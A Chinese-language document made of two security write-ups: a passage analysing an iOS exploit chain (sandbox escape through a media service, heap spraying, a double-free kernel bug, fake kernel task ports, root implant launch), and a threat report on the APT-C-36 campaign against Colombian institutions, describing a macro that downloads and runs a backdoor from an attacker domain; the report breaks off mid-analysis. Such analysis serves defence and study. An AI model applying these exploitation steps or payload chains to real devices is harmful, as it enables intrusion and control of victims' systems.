FigMachPortReleaseSendRight(dead_name, 0, 0, 0, 0);
} else {
FIG_demux(request_msg, (mach_msg_header_t*)reply_msg);
mach_msg((mach_msg_header_t*)reply_msg,
1,
reply_msg.msgh_size,
0,
0,
0,
0);
}
}
CFMachPorts是一个非常简单的包装器，用于接收mach消息。他们对MIG一无所知。然后，CFMachPort的回调必须对其进行处理。
这段代码引出了许多问题。首先，Apple代码中常见的反模式（Anti-Pattern）是未能检查通知是否被欺骗。确实，正确处理mach端口生命周期通知消息的唯一正确方法是永远不要将它们多路复用到服务端口上。在这里，还错误解析了潜在的欺骗性消息。MACH_NOTIFY_DEAD_NAME通知消息没有权限，并且没有设置MSGH_COMPLEX位，但它们仍然删除从消息正文读取的端口名称的发送权限。
但是，这些错误与我们正在研究的利用链无关。在else分支中，会调用自动生成的MIG demux函数：
int
FIG_demux(mach_msg_header_t *msg_request, mach_msg_header_t *msg_reply)
{
mig_routine_t routine;
msg_reply->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(msg_request->msgh_bits), 0);
msg_reply->msgh_remote_port = msg_request->msgh_remote_port;
msg_reply->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
msg_reply->msgh_id = msg_request->msgh_id + 100;
msg_reply->msgh_local_port = MACH_PORT_NULL;
msg_reply->msgh_reserved = 0;
routine_index = msg_request->msgh_id - 12080;
routine = FigRecorderRemoteServer_figrecorder_subsystem[method_index].stub_routine;
if (routine_index > 0x16 || !routine) {
(mig_reply_error_t *)msg_reply->NDR = NDR_record_0;
(mig_reply_error_t *)msg_reply->RetCode = MIG_BAD_ID;
return FALSE;
}
(routine)(msg_request, msg_reply);
return TRUE;
}
请注意，该过程确实返回一个值，指示消息是否已经传递给处理程序例程。但是，其CFMachPort处理程序会忽略它。CFMachPort处理程序也无法检查MIG返回代码是什么。当MIG方法失败时（因此，不应该保留任何资源的句柄），或msgh_id未被识别时（因此根本没有处理请求消息），则完全无法处理这些情况。这意味着，任何未预期的消息都将被忽略，而不是被正确地销毁（例如通过mach_msg_destroy），并且这些消息中包含的任何资源都将泄露到服务器进程中。
该漏洞利用发送一个msg_id为51的mach消息，FigRecorderRemoteServer_figrecorder_subsystem无法识别该消息，因此其中包含的任何资源都会立即泄露。
这一过程中，会发送带有1000个OOL内存描述符的mach消息，每个描述符包含10MB的包含堆喷射相同目标4kB内存块的副本。最终，希望其中一个能位于堆喷射目标地址0x120808000。接收到的OOL内存描述符的虚拟内存将由内核通过mach_vm_allocate在接收器中分配。这一过程使用非常基本的、从最低到最高的拟合算法进行分配。因此，这种堆喷射技术非常可靠，并且由于XNU在发送OOL内存时使用了虚拟内存优化，因此成本也很低。
除了喷射内存之外，还会喷射mach端口的发送权限。这里，再次滥用了com.apple.coremedia.recorder没有实现正确的MIG服务器的事实。该过程分配了超过12000个接收权限，会逐一分配一个发送权限，然后将接收权限集中到一个端口上。通过外部端口描述符将所有发送权限发送到服务，由于不正确的消息处理，该名称会立即泄露。
之所以发送这么多发送权限的原因，是希望能猜测出一个在mediaserverd任务中有效并且攻击者拥有接收权限的机器端口名称。然后，通过向该端口发送mach消息，就可以从目标中泄露资源（例如IOKit
userclient连接）。
## JOP2ROP
我们之前看到的初始PC控制序列的末尾部分如下：
LDR X8, [X0,#0x18]! ; read at offset +0x18, and bump up x0 to point to there
LDR X8, [X8,#0x20] ; X8 is controlled now; read function pointer
BLR X8 ; PC control!
在该序列的开始处，X0指向bad
wireid值得末尾，因此第一条指令将从0x0字节读取受控制的qword，经过wireid到X8。在内存操作数之后的!表明X0将被后处理（post-updated），这意味着在该指令使用这个值之后才会将其加上0x18。0x18字节已经超出了错误的wireid值，攻击者放入了堆喷射目标指针（0x120808080），因此X8的值为0x120808080，而X0是指向0x120808080的指针。
第二条指令将qword从0x120808080读入X8中，第三条指令调用该值。
这是堆喷射区域的带注释的转储，它实际上有三个不同的用途：
1、将初始JOP小工具指针放在已知位置；
2、转换为ROP栈；
3、包含要通过喷射的发送权限发送回攻击者进程的外联mach消息。
偏移量+000这里是堆喷射的目标地址0x120808080：
local_ports[]数组中包含exfil
mach消息的msgh_local_port字段的堆喷射目标页面上的地址。这就是ROP写入已打开的userclient端口的8个副本的地方。
这些消息本身也位于堆喷射页面上，其msgh_remote_port字段填充了端口喷射的发送权限的8个猜测。
在发送触发消息后，攻击者在端口上侦听包含所有喷射端口的信息。如果他们收到msgh_id值为0x1337的消息，则证明msgh_remote_port字段（回复端口）包含对视频解码加速器IOKit
userclient的发送权限，该权限无法从沙箱内访问。
## 视频解码器加速器重复IOFree
这个内核漏洞位于AppleVXD393和D5500 userclient上，它们似乎负责某种涉及DRM和解密的视频解码。
我在研究iOS 12 beta
1版本的符号名称（当时Apple没有删除符号）时独立发现了这个漏洞，但当时已经在稳定版本中得到修复。当然，iOS内核通常在发布之前就已经被删去了符号，因此会采取一些逆向或模糊的方式来实现这一点。
userclient有9个外部方法：
AppleVXD393UserClient::_CreateDecoder
AppleVXD393UserClient::_DestroyDecoder
AppleVXD393UserClient::_DecodeFrameFig
AppleVXD393UserClient::_MapPixelBuffer
AppleVXD393UserClient::_UnmapPixelBuffer
AppleVXD393UserClient::_DumpDecoderState
AppleVXD393UserClient::_SetCryptSession
AppleVXD393UserClient::_GetDeviceType
AppleVXD393UserClient::_SetCallback
通常，任何具有外部方法的IOKit
userclient都值得怀疑，这些外部方法的名称听起来像是加入了对象生命周期管理。Userclient的生命周期由两个地方进行隐式处理，分别是它拥有的mach端口的关系（当没有更多的客户端时，将导致没有发送者通知被发送）和OSObject引用，这将导致对象的破坏没有更多的引用。
通过查看方法列表，我们选择第二种。如果我们两次销毁解码器，会发生什么？
DestroyDecoder实现中的相关代码如下：
AppleVXD393UserClient::DestroyDecoder(__int64 this, __int64 a2, _WORD *out_buf) {
...
char tmp_buf[0x68];
// make a temporary copy of the structure at +0x270 in the UserClient object
memmove(tmp_buf, (const void *)(this + 0x270), 0x68uLL);
// pass that copy to ::DeallocateMemory
err = AppleVXD393UserClient::DeallocateMemory(this, tmp_buf);
if ( err ) {
SMDLog("AppleVXD393UserClient::DestroyDecoder error deallocating input buffer ");
}
// if the flag at +0x2e5 is set; do the same thing for the structure at
// +0x2F8
if ( *(_BYTE *)(this + 0x2E5) )
{
bzero(tmp_buf, 0x68uLL);
memmove(tmp_buf, (const void *)(this + 0x2F8), 0x68uLL);
err = AppleVXD393UserClient::DeallocateMemory(this, tmp_buf);
if ( err )
SMDLog("AppleVXD393UserClient::DestroyDecoder error deallocating decrypt buffer ");
}
// then clear the flag for the second deallocate
*(_BYTE *)(this + 0x2E5) = 0;
上述代码可能仍然没有什么问题，这取决于::DeallocateMemory实际执行的操作：
kern_return_t
AppleVXD393UserClient::DeallocateMemory(__int64 this, __int64 tmp_buf)
{
// reading this+0x290 for the first case
VXD_desc = *(VXD_DEALLOC **)(tmp_buf + 0x20);
if ( !VXD_desc )
return 0LL;
err = AppleVXD393::deallocateKernelMemory(*(_QWORD *)(this + 0xD8),
*(_QWORD *)(tmp_buf + 0x20));
// unlink the buffer descriptor from a doubly-linked list:
prev = VXD_desc->prev;
if ( prev )
prev->next = VXD_desc->next;
next = VXD_desc->next;
if ( next )
v7 = &next->prev;
else
v7 = (VXD_DEALLOC **)(this + 0x268); // head
*v7 = prev;
IOFree(VXD_desc, 0x38LL);
return err;
}
__int64 __fastcall AppleVXD393::deallocateKernelMemory(__int64 this, VXD_DEALLOC *VXD_desc)
{
__int64 err; // x19
lck_mtx_lock(*(_QWORD *)(this + 0xD8));
err = AppleVXD393::deallocateKernelMemoryInternal((AppleVXD393 *)this, VXD_desc);
*(_DWORD *)(this + 0x2628) = 1;
lck_mtx_unlock(*(_QWORD *)(this + 0xD8));
return err;
}
AppleVXD393::deallocateKernelMemoryInternal(AppleVXD393 *this, VXD_DEALLOC *VXD_desc) {
if ( !VXD_desc->iomemdesc ) {
SMDLog("AppleVXD393::deallocateKernelMemory pKernelMemInfo->xfer NULLn");
return 0xE00002C2;
}
...
}
这是一个略微混淆的方法，下面是从VXDUserClient对象读取一个指向0x38字节结构的指针，我试图在这里进行重建：
0x38 byte struct structure {
// virtual method will be called if size_in_pages non-zero
+0 = IOMemoryDescriptor ptr
// virtual release method will be called if non-zero
+8 = another OS_object
+10 = unk
+18 = size_in_pages
+20 = maptype
+28 = prev_ptr
+30 = next_ptr
}
指向这种结构的指针被传递给AppleVXD393::deallocateKernelMemory，后者又调用AppleVXD393::deallocateKernelMemoryInternal。如果第一个成员（应该是IOMemoryDescriptor指针）为NULL，那么将会返回。随后，在AppleVXD393UserClient::DeallocateMemory中，在通过IOFree释放之前，该结构将从双向链接列表（明显缺乏安全取消链接机制）取消链接。
没有任何过程清除了VXDUserClient指针+0x290的位置，这是指向这个0x38字节结构的指针。因此，如果多次调用外部方法，则每次都会将相同的指针传递给::deallocateKernelMemory，然后传递给IOFree。这就是漏洞利用中所使用的漏洞。
## 内核利用
请注意，安全地触发重复释放有一些限制。特别是，如果第一个指针值不为NULL，并且size_in_pages字段不为0，那么将会在IOMemoryDescriptor上调用虚拟方法。
该条目每次解除分配时都会从列表中取消链接，因此需要设置prev和next指针才能生存。（NULL是一个合适的安全值。）
攻击者像往常一样，通过增加打开文件描述符的限制并创建0x800管道来开始漏洞利用。他们还分配了1024个早期端口以及一个IOSurface。这次，IOSurface将像在iOS漏洞利用链#1中一样，用作修饰OSObjects的方法。
将分配4个mach端口（接收1到4），然后强制区域GC。
## 击破mach_zone_force_gc以消除漏洞缓解
Apple完全删除了mach_zone_force_gc主机端口MIG方法，因此现在没有直接强制区域GC的方法。
区域GC仍然是必要的功能，因此我们需要更具创造性。区域GC仍然会在内存空间接近不足时发生，因此要导致区域GC，必须先导致内存压力。攻击者是这样实现的：
#define ROUND_DOWN_NEAREST_1MB_BOUNDARY(val) ((val >> 20) << 20)
void force_GC()
{
long page_size = sysconf(_SC_PAGESIZE);
target_page_cnt = n_actually_free_pages();
size_t fifty_mb = 1024*1024*50;
size_t bytes_size = (target_page_cnt * page_size) + fifty_mb;
bytes_size = ROUND_DOWN_NEAREST_1MB_BOUNDARY(bytes_target)
char* base = mmap(0,
bytes_size,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE,
-1,
0);
if (!base || base == -1) {
return;
}
for (i = 0; i < bytes_size / page_size; ++i ) {
// touch each page
base[page_size * i] = i;
}
n_actually_free_pages();
// wait for GC...
sleep(1);
// remove memory pressure
munmap(base, bytes_target);
}
uint32_t n_actually_free_pages()
{
struct vm_statistics64 stats = {0};
mach_msg_number_t statsCnt = HOST_VM_INFO64_COUNT;
host_statistics64(mach_host_self(),
HOST_VM_INFO64,
&stats,
&statsCnt);
return (stats.free_count - stats.speculative_count);
}
这比以前的方法要慢很多，但确实有效。攻击者对剩余的其他利用链也延续了这种方法。
## Heap Grooming
对于第四个端口，他们使用熟悉的函数发送两个kalloc_groomer消息，一个用于0x20000 kalloc（0x38）调用，另一个用于0x2000
4k kalloc调用。它们会填充堆中的任意空隙，以确保来自这些区域的后续分配可能来自新页面。
攻击者执行一个mach端口修饰，分配10240个before_ports、一个目标端口、5120个after_ports。这样一来，就形成了类似于iOS漏洞利用链#2中IOSurface的情况，在漏洞利用过程中，大量其他端口分配中间有一个目标端口：
该过程将一个外部端口描述符中的目标端口发送到第三个端口，在那里存储引用（意味着target_port现在的引用计数为2）。这里同样类似于IOSurface漏洞利用中使用的技术。
随后，在userclient上调用外部方法0，即CreateDecoder，将会产生0x38字节目标缓冲区被分配，将指针存储在userclient
+0x290的位置。
然后将调用外部方法1，即DestroyDecoder。这里的kfree是刚刚分配的0x38字节结构，但是在+0x290的userclient中没有指向它的指针。
攻击者使用IOSurface属性技巧来反序列化0x400
OSData对象的OSArray，其中每个OSData对象都是一个0x38字节的零缓冲区。它会附加到IOSurfaceRootUserClient中，键为“spray_56”。其中，56是十进制的0x38，也就是目标分配的大小。
这里的想法是，其中一个OSData对象的后备缓冲区是在freeClient仍然有悬空指针的释放后0x38字节结构分配上分配的。由于它们将内容设置为NULL，因此将继续被userclient再次销毁，这正是第二次调用DestroyDecoder时发生的情况：
IOConnectCallStructMethod(
userclient_connection,
1LL, // AppleVXD393UserClient::DestroyDecoder
// free one of the OSData objects
IOConnect_struct_in_buf,
struct_in_size,
IOConnect_struct_out_buf,
&struct_out_size);
此时，VXD393UserClient和OSData对象都有悬空指针到释放后的分配。将会第二次重新分配缓冲区，但这次有所不同：
// send 7 ports; will result in a 0x38 byte kalloc alloc
bzero(ool_ports_desc, 28LL);
ool_ports_desc[1] = target_port;
send_a_mach_message_with_ool_ports_descs(
second_receive,
ool_ports_desc,
7,
0x190);
这次他们发送带有0x190
OOL_PORTS描述符的mach消息，每个描述符有7个端口名，所有这些都是MACH_PORT_NULL，与第二个名称不同。正如我们在IOSurface漏洞中看到的那样，这将导致0x38字节的kalloc分配（0x38
= 7 * 0x8），其中第二个qword是指向target_port的struct ipc_port的指针：
## 公开指针
我们希望其中的一个0x190外部端口描述符与OSData后备缓冲区和VXD393UserClient 0x38字节结构缓冲区重叠。
现在，他们通过IOSurface读取属性方法来读取所有OSData缓冲区的内容，并查找内核指针。请注意，所有OSData缓冲区的内容最初都是0。
iosurface_get_property_wrapper(spray_56_str,
big_buffer,
&buffer_size_in_out);
found_at = memmem(big_buffer, buffer_size_in_out, "xFFxFFxFF", 3);
“xFFxFFxFF”签名将匹配内核指针的较高三个字节。唯一将被序列化的内核指针是target_port的地址，这意味着他们已经成功公开了目标端口的内核地址。
## 重复释放导致额外端口引用丢弃
然后，第三次触发漏洞，留下三个悬空的指针：一个在userclient中，一个在OSData中，另一个在传输的mach消息的外部端口描述符端口指针中。
需要注意的是，这里触发漏洞仍然是安全的，因为只有第二个qword非零。第一个指针（IOMemoryDescriptor*）仍然为NULL，因此AppleVXD393::deallocateKernelMemoryInternal将会提前返回，列表取消链接的过程将成功进行，因为prev和next指针都为NULL。
## 第三次替换
攻击者对另一个OSData对象数组进行序列化。这次他们所公开的目标端口内核地址的两个副本位于缓冲区中，然后再将它们连接到IOSurfaceUserClient：
os_data_spray_buf_ptr[0] = target_port_kaddr;
os_data_spray_buf_ptr[1] = target_port_kaddr;
serialize_array_of_data_buffers(&another_vec, os_data_spray_buf, 0x38u, 800);
具体发生了什么？
正如我们在之前的利用链中所看到的，传输中的外部端口描述符中的每个端口指针都有一个引用。我们可以在XNU源的ipc_kmsg.c中的ipc_kmsg_copyin_ool_ports_descriptor看到此逻辑。
发送的消息的“真实”外部端口描述符缓冲区只有一个指向端口的指针。因此，它只在端口上进行了一次引用。但现在，已经将指针加倍，描述符缓冲区有两个副本，但只需要一个额外的引用。
当描述缓冲区被销毁时（例如：当发送它的端口被销毁而没有收到消息时），内核将遍历描述符中的每个指针，如果它不是NULL，将删除一个引用：
ipc_kmsg_clean_body(...
...
case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
ipc_object_t* objects;
mach_msg_type_number_t j;
mach_msg_ool_ports_descriptor_t* dsc;
dsc = (mach_msg_ool_ports_descriptor_t*)&saddr->ool_ports;
objects = (ipc_object_t *) dsc->address;
if (dsc->count == 0) {
break;
}
/* destroy port rights carried in the message */
for (j = 0; j < dsc->count; j++) {
ipc_object_t object = objects[j];
if (!IO_VALID(object))
continue;
// drop a reference
ipc_object_destroy(object, dsc->disposition);
}
/* destroy memory carried in the message */
kfree(dsc->address, (vm_size_t) dsc->count * sizeof(mach_port_t));
这正是销毁OOL_PORTS描述符发送到的端口时，即将发生的情况：
mach_port_destroy(mach_task_self(), second_receive);
这样一来，就会产生在target_port上删除额外引用的效果，在这种情况下，会留下两个指向target_port的指针（一个在任务的端口命名空间表中，另一个在发送到third_receive的外部端口描述符中），但只有一个引用。
现在，攻击者重新创建了在IOSurface漏洞利用中的相同情况：即将获得一个悬空的mach端口指针，但来自于截然不同的初始原语。在这种情况下，漏洞本身就给他们一个指向mach端口结构的悬空指针。在这里，从不同区域的重复释放漏洞中重新创建了相同的原语，这是有所不同的地方。
我们现在看到，其余代码与IOSurface漏洞利用非常接近。这就是边际成本的一个例子，开发每个额外的漏洞利用链的成本要低于开发首个利用链的成本。许多组件可以重复使用，只有在引入时才能消除缓解，或者如果缓解不存在于关键路径中，可以开发新的技术。
## 加入漏洞利用链
此时的代码几乎是完全从IOSurface漏洞利用中复制粘贴而来。
该过程会破坏before_ports、third_receive（导致target_port被释放），然后是after_ports，并使用新方法执行GC。此时，target_port正在悬空，并且它所在的区域块已准备好由不同的区域重新分配。
他们尝试使用较小的外联内存区域替换，这些区域将对应于kalloc.4096分配，将ip_context字段与包含循环迭代的标记重叠。
每次循环时，都会检查上下文字段是否被更改，这意味着ipc_port缓冲区被重新分配为外联存储器描述符后备缓冲区。它们释放了发送正确描述符的特定端口，并尝试重新分配0x800管道缓冲区，每个缓冲区都填充了虚假端口，其上下文值设置为标识映射到的fd。
一旦确定了这一点，就可以构建一个虚假的IKOT_CLOCK端口，并强制使用KASLR Slide，然后使用它们构建初始虚假任务的偏移量并进行读取。
这一次，攻击者使用了更加优化的方法来构建虚假的内存任务。指定kernel_task指针的偏移量，使用bootstrap读取来获取指向内核任务的指针，从中读取指向内核任务端口的指针和指向内核vm_map的指针。
根据内核任务端口，他们读取偏移量+0x60处的字段，这是端口中的空间，在本例中为itk_space_kernel。
上述就是在管道缓冲区中构建虚假内核任务端口和虚假内核任务所需的全部内容，这样就可以为内核内存提供读写操作。
## 后期漏洞利用
后期利用阶段保持不变。修补平台的策略允许从/tmp执行，将植入工具的CDHash添加到内核信任缓存中，替换凭据以暂时转义沙箱，并将植入工具posix_spawn以root身份运行，最后切换回原始凭据。
攻击者将字符串“iop114”放置在bootargs中，我们看到攻击者在权限提升漏洞利用开始时对其进行正确读取，已确认漏洞利用是否已经成功执行。
## 附录A：未使用但已经解析的符号列表
asl_log_message
sel_registerName
CFArrayCreateMutable
CFDataCreate
CFArrayAppendValue
CFDictionaryCreate
CFDictionaryAddValue
CFStringCreateWithFormat
CFRelease
CFDataGetBytePtr
CFDataGetLength
bootstrap_look_up2
stat
usleep
open
CFWriteStreamCreateWithFTPURL
CFWriteStreamOpen
CFWriteStreamWrite
CFWriteStreamClose
unlink
sprintf
strcat
copyfile
removefile
task_suspend
task_name_for_pid
mach_port_mod_refs
pthread_create
pthread_join
_IOHIDCreateBinaryData
io_hideventsystem_open
mlock
mig_get_reply_port
mach_vm_read_overwrite
mach_ports_lookup
vm_allocate
mach_port_kobject
IOMasterPort
kCFTypeArrayCallBacks
下面介绍一些有趣的内容。当然，我们不可能知道这些是从开发中遗漏的，还是实际上在第二个框架的早期漏洞利用中使用的。但是，后面的两条利用链（#4和#5）使用相同的符号列表，仅添加了它们所需的符号。
下面的符号似乎很有趣，这些符号也可能用于在沙箱逃逸中的ROP栈中。
m锁：
mlock指向两个可能的地方，曾经被用于确保用户空间页面在触发用户空间取消引用时不会被交换。mlock还参与了代码签名绕过，可能它在ROP链中用于引导Shellcode执行。
mach_port_kobject：
在Stefen Esser的博客文章中，详细讨论了这个内核MIG方法。在iOS 6版本之前，它将返回所提供的mach端口的ip_kobject字段。在iOS
6中，一些混淆被添加到返回的指针中，但正如Stefen指出的那样，容易被破解。
io_hideventsystem_open：
HID驱动程序和hideventsystem服务本身也存在许多漏洞。有关漏洞利用，可以参考
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1624>
。这可能与攻击者同时引入的IOHIDCreateBinaryData有关。 | 社区文章 |
# 盲眼鹰（APT-C-36）：持续针对哥伦比亚政企机构的攻击活动揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
从2018年4月起至今，一个疑似来自南美洲的APT组织盲眼鹰（APT-C-36）针对哥伦比亚政府机构和大型公司（金融、石油、制造等行业）等重要领域展开了有组织、有计划、针对性的长期不间断攻击。
其攻击平台主要为Windows，攻击目标锁定为哥伦比亚政企机构，截止目前360威胁情报中心一共捕获了29个针对性的诱饵文档，Windows平台木马样本62个，以及多个相关的恶意域名。
2018年4月，360威胁情报中心捕获到第一个针对哥伦比亚政府的定向攻击样本，在此后近一年时间内，我们又先后捕获了多起针对哥伦比亚政企机构的定向攻击。攻击者习惯将带有恶意宏的MHTML格式的Office
Word诱饵文档通过RAR加密后配合鱼叉邮件对目标进行投递，然后将RAR解压密码附带在邮件正文中，具有很好的躲避邮件网关查杀的效果。其最终目的是植入Imminent后门以实现对目标计算机的控制，为接下来的横向移动提供基础。
360威胁情报中心通过分析攻击者投递的多个加密的Office
Word文档的最后修改时间、MHTML文档字符集（语言环境）、攻击者使用的作者名称等信息，并结合地缘政治等APT攻击的相关要素，判断攻击者疑似来自于UTC时区在西4区（UTC-4）正负1小时对应的地理位置区域（南美洲）。
由于该组织攻击的目标中有一个特色目标是哥伦比亚盲人研究所，而哥伦比亚在足球领域又被称为南美雄鹰，结合该组织的一些其它特点以及360威胁情报中心对 APT
组织的命名规则，我们将该组织命名为盲眼鹰（APT-C-36）。
## 攻击目标和受害者分析
根据关联到的样本对受害者进行分类统计后，我们发现攻击者主要针对哥伦比亚的政府机构和大型公司，其目的是植入Imminent后门以实现对目标计算机的控制，为接下来的横向移动等攻击行为提供基础。从受害者的背景信息来看，攻击者所关注的政企机构在战略层面有重大意义，同时也不排除其同时有窃取商业机密和知识产权的动机。
### 伪装来源及行业分布
基于360威胁情报中心对该APT组织的攻击信息统计显示，攻击者伪装成哥伦比亚国家民事登记处、哥伦比亚国家税务和海关总署、哥伦比亚国家统计局、哥伦比亚国家网络警察局、哥伦比亚国家司法部门，对哥伦比亚的政府、金融机构，本国大型企业或跨国公司的哥伦比亚分公司进行攻击，相关信息统计如下。
诱饵伪装来源
|
攻击目标
---|---
哥伦比亚国家民事登记处 | 哥伦比亚国家盲人研究所
哥伦比亚国家税务和海关总署 | 哥伦比亚国家石油公司
哥伦比亚石油公司（Hocol）
哥伦比亚车轮制造商（IMSA）
哥伦比亚Byington公司
哥伦比亚国家统计局 | 哥伦比亚物流公司（Almaviva）
哥伦比亚国家网络警察局 | 哥伦比亚国家金融机构（BancoAgrario）
哥伦比亚国家司法部门 | 哥伦比亚银行（Banco de Occidente）
ATH哥伦比亚分部
哥伦比亚移民权力机构 | Sun Chemical哥伦比亚分部
攻击者使用的部分恶意域名也仿冒了哥伦比亚的政府网站，比如diangovcomuiscia.com从名称上仿冒了muiscia.dian.gov.co，而后者是哥伦比亚税务与海关总署官网。
攻击者对使用的木马程序的公司信息也进行了伪造，相关列表如下：
木马程序公司信息
|
公司信息
---|---
Abbott Laboratories | 位于美国的一家医疗保健公司
Chevron | 雪佛龙，美国一家跨国能源公司。
Energizer Holdings Inc. | 美国电池制造商
Progressive Corporation | 美国最大汽车保险提供商
Simon Property Group Inc | 美国商业地产公司
Sports Authority Inc | 美国的一家体育用品零售商
Strongeagle, Lda. | 葡萄牙一家与公司法，税务债务和法院诉讼相关公司
### 部分受影响目标
360威胁情报中心在近一年内针对该APT攻击进行监控和关联后发现了其多个用于攻击哥伦比亚政府、金融机构及大型企业的相关邮件。基于对鱼叉邮件的分析，我们列举了如下针对性的诱饵文档以及对应的受害政企。
**哥伦比亚国家石油公司**
* 被攻击机构信息及相关邮件
哥伦比亚国家石油公司（[www.ecopetrol.com.co](http://www.ecopetrol.com.co)）主要经营范围包括石油、天然气勘探开发，管线建设以及石油炼制。
攻击哥伦比亚国家石油公司的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家税务和海关总署进行攻击活动：
Dian Embargo Bancario # 609776.doc
**哥伦比亚石油公司（Hocol）**
* 被攻击机构信息及相关邮件
Hocol成立于1956年，是哥伦比亚国家石油公司Ecopetrol的子公司，专注于哥伦比亚国内各地的勘探和生产活动。
攻击哥伦比亚石油公司Hocol的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家税务和海关总署进行攻击活动：
estado de cuenta.doc
**哥伦比亚物流公司（Almaviva）**
* 被攻击机构信息及相关邮件
Almaviva是一家物流运营商，通过流程和工具的安全管理优化供应链，确保物流运营的效率。
攻击物流公司Almaviva的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家统计局进行攻击活动：
listado de funcionarios autorizados para censo nacional 2018.doc
**哥伦比亚国家金融机构（BancoAgrario）**
* 被攻击机构信息及相关邮件
哥伦比亚国家金融机构（BancoAgrario）主要致力于向农村地区提供金融服务。
攻击BancoAgrario的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家网络警察局（caivirtual.policia.gov.co）进行攻击活动
Reporte fraude desde su dirrecion ip.doc
**哥伦比亚车轮制造商（IMSA）**
* 被攻击机构信息及相关邮件
IMSA是专业的车轮制造商，致力于使用优质原材料进行车轮制造。
攻击IMSA的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家税务和海关总署（www.dian.gov.co）进行攻击活动
Dian Embargo Bancario # 609776.doc
**哥伦比亚银行（Banco de Occidente）**
* 被攻击机构信息
Banco de Occidente是哥伦比亚最大的银行之一，是哥伦比亚Grupo Aval金融服务集团的一部分。
攻击Banco de Occidente的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家司法部门（www.fiscalia.gov.co）进行攻击活动
Citacion Fiscalia general de la Nacion Proceso 305351T.doc
**ATH哥伦比亚分部**
* 被攻击机构信息
ATH是一个跨国银行金融机构，在哥伦比亚开设有分部。
攻击ATH哥伦比亚分部相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家司法部门（www.fiscalia.gov.co）进行攻击活动
Fiscalia proceso 305351T.doc
**Sun Chemical哥伦比亚分部**
* 被攻击机构信息
Sun Chemical是印刷油墨，涂料等用品的跨国企业，同样在哥伦比亚开设有分公司。
攻击Sun Chemical哥伦比亚分公司的邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚移民权力机构（www.migracioncolombia.gov.co）进行攻击活动
Proceso Pendiente Migracion Colombia.doc
**哥伦比亚Byington公司**
* 被攻击机构信息
Byington对哥伦比亚主要的商业公司进行评级和财务评估。
攻击哥伦比亚Byington公司的相关邮件
* 相关诱饵文档
攻击者伪装成哥伦比亚国家税务和海关总署（www.dian.gov.co）进行攻击活动
estado de cuenta.doc
## 技术细节
360威胁情报中心基于该APT组织常见的攻击手法对整个攻击过程进行了详细分析。
### 最新的一次攻击
2019年2月14日，360威胁情报中心再次监控到该APT组织的最新攻击活动，根据最近捕获到的诱饵文档（MD5：0c97d7f6a1835a3fe64c1c625ea109ed）并没有找到对应的邮件，不过在进行关联调查后，我们发现了另外一个类似的诱饵文档（MD5：3de286896c8eb68a21a6dcf7dae8ec97）及其对应的有针对性攻击邮件（MD5：f2d5cb747110b43558140c700dbf0e5e）。该邮件伪装来自哥伦比亚国家民事登记处，对哥伦比亚国家盲人研究所进行攻击。
最近捕获的诱饵文档，伪装来自哥伦比亚国家民事登记处（MD5：0c97d7f6a1835a3fe64c1c625ea109ed）
攻击哥伦比亚国家盲人研究所的邮件
### 伪造来源及躲避查杀
攻击者在攻击不同目标时，仔细考虑了如何伪装邮件的来源从而使其看起来更加可信。比如通过伪装民事登记处来攻击盲人研究所，伪装成税务和海关总署来攻击那些有国际贸易的企业，伪装成司法部门和移民权力机构来针对银行和跨国公司哥伦比亚分部等。
攻击者同样对邮件内容进行精心构造，使其看似源自被伪造的机构，且与被攻击者日常工作生活相关。下图为伪装成哥伦比亚国家司法部门对ATH哥伦比亚分部的攻击中对应邮件的内容翻译：
邮件附件被加密存放在压缩包内，并在邮件正文中提供解密密码，用于绕过邮件网关的安全检测。
邮件正文附带RAR密码
对邮件进行分析后，我们发现攻击者在发送邮件时都使用了VPN等方式来隐藏自身，因此尚未能获得发件者的真实IP，只是发现这些邮件通过位于美国佛罗里达州的IDC机房发出，部分相关的IP地址为：
128.90.106.22
128.90.107.21
128.90.107.189
128.90.107.236
128.90.108.126
128.90.114.5
128.90.115.28
128.90.115.179
### 诱饵文档
此次攻击活动诱饵文档均采用MHTML格式的Word文档进行攻击，MHTML格式的Word文档能在一定程度上避免杀毒软件的查杀。例如360威胁情报中心在2019年2月中旬捕获的样本：Registraduria
Nacional – Notificacion cancelacion cedula de ciudadania.doc
文件名 | Registraduria Nacional – Notificacion cancelacion cedula de
ciudadania.doc
---|---
MD5 | 0c97d7f6a1835a3fe64c1c625ea109ed
伪装来源 | 哥伦比亚国家民事登记处
MHTML格式的Word文档
文档伪装成哥伦比亚国家民事登记处，并利用西班牙语提示受害者开启宏代码，从而执行后续Payload
当受害者打开该MIME文档并启用宏功能后，将自动调用Document_Open函数：
Document_Open首先调用Main函数下载[hxxp://diangovcomuiscia.com/media/a.jpg](http://diangovcomuiscia.com/media/a.jpg)并保存为%AppData%\1.exe（md5:
ef9f19525e7862fb71175c0bbfe74247）：
接着调用fcL4qOb4函数，设置伪装成Google的计划任务，相关计划任务的信息如下：
作者 | Google Inc
---|---
描述（翻译后） | 在用户登录系统时检查并上传有关Google解决方案的使用和错误的信息
任务内容 | 启动%AppData%\1.exe
任务定义 | GoogleUpdate
相关代码如下图所示：
### Payload（Imminent）
文件名 | 1.exe
---|---
MD5 | ef9f19525e7862fb71175c0bbfe74247
编译信息 | .NET
释放执行的1.exe为最终的木马后门，该样本为混淆比较严重的C#代码：
去混淆后可以明确看到Imminent Monitor字符串，该样本为Imminent Monitor RAT：
样本运行后首先从资源文件中提取名称为“application”的数据，并解密出一个来自7zip合法的lzma.dll库：
随后从资源文件中提取名称为“_7z的”数据，并利用lzma.dll解压缩该段数据，得到真正的Imminent Monitor RAT样本（MD5:
4fd291e3319eb3433d91ee24cc39102e）：
核心功能分析
MD5 | 4fd291e3319eb3433d91ee24cc39102e
---|---
* 静态分析
